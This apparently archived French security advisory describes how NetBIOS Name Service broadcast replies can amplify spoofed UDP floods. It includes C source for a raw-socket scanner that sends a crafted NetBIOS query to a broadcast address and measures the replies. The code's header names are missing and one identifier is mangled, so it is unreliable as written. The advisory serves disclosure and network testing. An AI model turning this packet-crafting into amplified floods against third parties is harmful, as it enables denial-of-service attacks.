NetBIOS could be used as network flood amplier
|
Date de Publication: 2003-04-04
Bugtraq ID: xxxx
CVE : xxxx
Titre: NetBIOS could be used as network flood amplier
Class: Design Error
Exploitable à distance : Oui
Exploitable en local : Oui
* Description de la vulnérabilité *
Les services généralement utilisés, tels que NetBIOS Name Server peuvent être utilisés pour inonder des serveurs avec des données UDP, en envoyant demandes spoofées.
* Description Technique - Exploit *
L'envoi d'une requête Netbios à une adresse d'émission sur un réseau peu sûr (un réseau qui ne filtre pas des paquets dirigés vers son adresse d'émission de l'extérieur) fait répondre toutes les machines Windows avec NetBIOS et machines Unix avec samba, vers l'adresse de l'émission.
Un utilisateur malveillant pourrait exploiter ce problème pour envoyer des demandes spoofées à une liste d'adresses d'émission afin d'inonder un serveur victime avec des données UDP. Papasmurf, Fraggle et beaucoup d'autres programmes font ceci, mais la différence est que le nombre de machines répondant à cette requête est beaucoup plus grande.
Ci-dessous un scanner simple, qui permet de tester votre réseau, ce scanner fonctionne sous Ethernet et Connexions PPP. Il surveille les données sur le port UDP 137, s'assurant ainsi que vous n'avez pas l'autre trafic de NetBIOS sur votre réseau en utilisant le scanner.
- nns-scanner.c :
/************************************************************************
* NNS SCANNER
* By Francesco Vigo - Anti-Idle Security Team - f.vigo {AT} anti-idle.com -
* Compile with gcc -lpcap nns-scanner.c -o nns-scanner
*************************************************************************/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define MAX_PACKET_LEN 100
#define MAX_LIST_SIZE 32768
#define MAX_IP_LEN 16
#define IPLEN sizeof(struct iphdr)
#define ETHLEN sizeof(struct ethhdr)
#define UDPLEN sizeof(struct udphdr)
#define NETLEN (sizeof(netbios)-1) /* -1 ?!?!?!? */
#define VERSION "\n[6149] NNS broadcast NetBIOS scanner version 0.1 [6149]
\nby Francesco Vigo \n\n"
/* checksum, ripped */
unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
/*
* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits.
*/
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
/* mop up an odd byte, if necessary */
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return(answer);
}
void p_die(int die) {
printf("died with error %d : ",die);
switch(die) {
case 0:
printf("command line error\n\n");
break;
case 1:
printf("cannot open socket\n\n");
break;
case 2:
printf("cannot resolve localhost host\n\n");
break;
case 3:
printf("euid=0 (root) is needed\n\n");
break;
case 4:
printf("cannot send to raw socket\n\n");
break;
case 5:
printf("cannot resolve remote host\n\n");
break;
case 6:
printf("cannot start pcap capture session\n\n");
break;
case 7:
printf("error capturing packet\n\n");
break;
default:
printf("unspecified error\n\n");
break;
}
exit(die);
}
/* dummy function for signal */
void dum(int trash) {
printf("\n\nAll done!!\n\n");
exit(0);
}
void usage(char *arg,int verr) {
printf("usage: %s \n",arg);
printf("\tlocal ip = local ip\n");
printf("\tremote ip = broadcast ip network address (to test)\n");
printf("\tdelay = response wait time (in seconds) [should be 1 or 2 to
get trustable information]\n");
printf("\tif = interface (e.g. eth0)\n");
printf("\n");
p_die(verr);
}
/* checks if the udp packet is a response from the broadcast */
void parse_packet(u_char *useless, struct pcap_pkthdr *head, u_char *data)
{
struct iphdr ip;
struct udphdr udp;
struct ethhdr ethh;
int dim = 0; /* packet size */
int t_dim = 0;
int len=0;
char c;
/* check if we got ethernet header or not */
memcpy((u_char *)&c,(u_char *)&data[0],1);
if(c == 69) len = 0; /* no */
else {
len = ETHLEN;
/* ethernet structure */
memcpy((u_char *) ðh, (u_char *) &data[0], ETHLEN);
if(ethh.h_proto != ntohs(ETH_P_IP)) return; /* we want an IP packet */
}
/* copy ip structure */
memcpy((u_char *)&ip, &data[len], IPLEN);
/* check if is udp */
if(ip.protocol != 17) return;
/* copy udp structure */
memcpy((u_char *)&udp, &data[(len+IPLEN)], UDPLEN);
/* check if dest port is 137 */
if(udp.dest != htons(137)) return;
dim = head->len - len; /* packet size without ETH header */
memcpy((u_char *)&t_dim,useless,2);
t_dim += dim;
memcpy(useless,(u_char *) &t_dim,2);
return;
}
int main(int argc, char *argv[]) {
int fd;
struct iphdr *ip;
struct udphdr *udp;
unsigned char *packet;
struct hostent *serverhost;
struct hostent *clienthost;
struct sockaddr_in kill;
pcap_t *hat = NULL;
char errbuf[PCAP_ERRBUF_SIZE]; /* libpcap buffer */
time_t now; /* timeout check */
long delay = 0;
int i = 0;
int t_size = 0, f_size = 0; /* data size (total, partial)*/
char netbios[] =
"\x68\x36\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x20\x43"
"\x4b\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x00\x00\x21\x00\x01";
signal(SIGINT, dum); /* catch ^C */
printf(VERSION);
if(argc != 5) usage(argv[0],0);
if(!(delay = atoi(argv[3]))) usage(argv[0],0);
packet=malloc(MAX_PACKET_LEN);
memset(packet,0,MAX_PACKET_LEN);
memset(&kill,0,sizeof(kill));
ip = (struct iphdr *) packet;
udp = (struct udphdr *) (packet+IPLEN);
/* root check */
if(geteuid() != 0) p_die(3);
/* set socket and resolve hostname */
if((fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) p_die(1); /*
socket error */
/* build ip hdr */
ip->version=4;
ip->ihl=5;
ip->tos=0;
ip->tot_len=htons((IPLEN+UDPLEN+NETLEN));
ip->id=htons(0);
ip->frag_off=htons(0);
ip->ttl=64;
ip->protocol=17; /* udp */
ip->saddr=0;
ip->daddr=0;
/* build udp hdr */
udp->source=htons(137);
udp->dest=htons(137);
udp->len=htons((NETLEN+UDPLEN));
/* push netbios data into packet */
memcpy((packet+IPLEN+UDPLEN), &netbios, NETLEN);
/* build sockaddr */
kill.sin_family=AF_INET;
if((serverhost = gethostbyname(argv[1])) < 0) p_die(2); /* source
resolve error */
memcpy(&ip->saddr,serverhost->h_addr,serverhost->h_length);
if((clienthost = gethostbyname(argv[2])) < 0) p_die(5); /* test host
resolve error */
memcpy(&ip->daddr,clienthost->h_addr,serverhost->h_length);
/* open pcap */
hat = pcap_open_live(argv[4], 128, 0, 0, &errbuf[0]);
if(hat == NULL)
{
p_die(6);
}
/* send packets */
printf("Testing %s with local IP %s with %ld seconds of
listening\n\n",argv[2],argv[1],delay);
t_size = -(IPLEN+UDPLEN+NETLEN);
f_size = 0;
printf("Testing: %s... ",argv[2]);
fflush(stdout);
memcpy(&kill.sin_addr,&ip->daddr,4);
/* set checksums */
ip->check=in_cksum((u_short *)packet,IPLEN);
/* send packet */
if((sendto(fd,packet,(IPLEN+UDPLEN+NETLEN),0,(struct sockaddr *)
&kill,sizeof(kill))) < 0) p_die(4);
now = time(NULL);
while((time(NULL) - now) < delay) {
i = pcap_dispatch(hat, 50, (void *) &parse_packet, (u_char *) &f_size);
t_size += f_size;
f_size = 0;
if(i < 0) p_die(7);
}
if(t_size > 0) {
printf("works! (%d bytes received)\n",t_size);
}
else printf("doesn't work!\n");
pcap_close(hat); /* close pcap monitoring */
printf("Finished!\n");
exit(0);
}
* Crédits *
Cette faille a été découverte par Francesco Vigo et l'équipe de "Anti-Idle" (Avril 2003).
|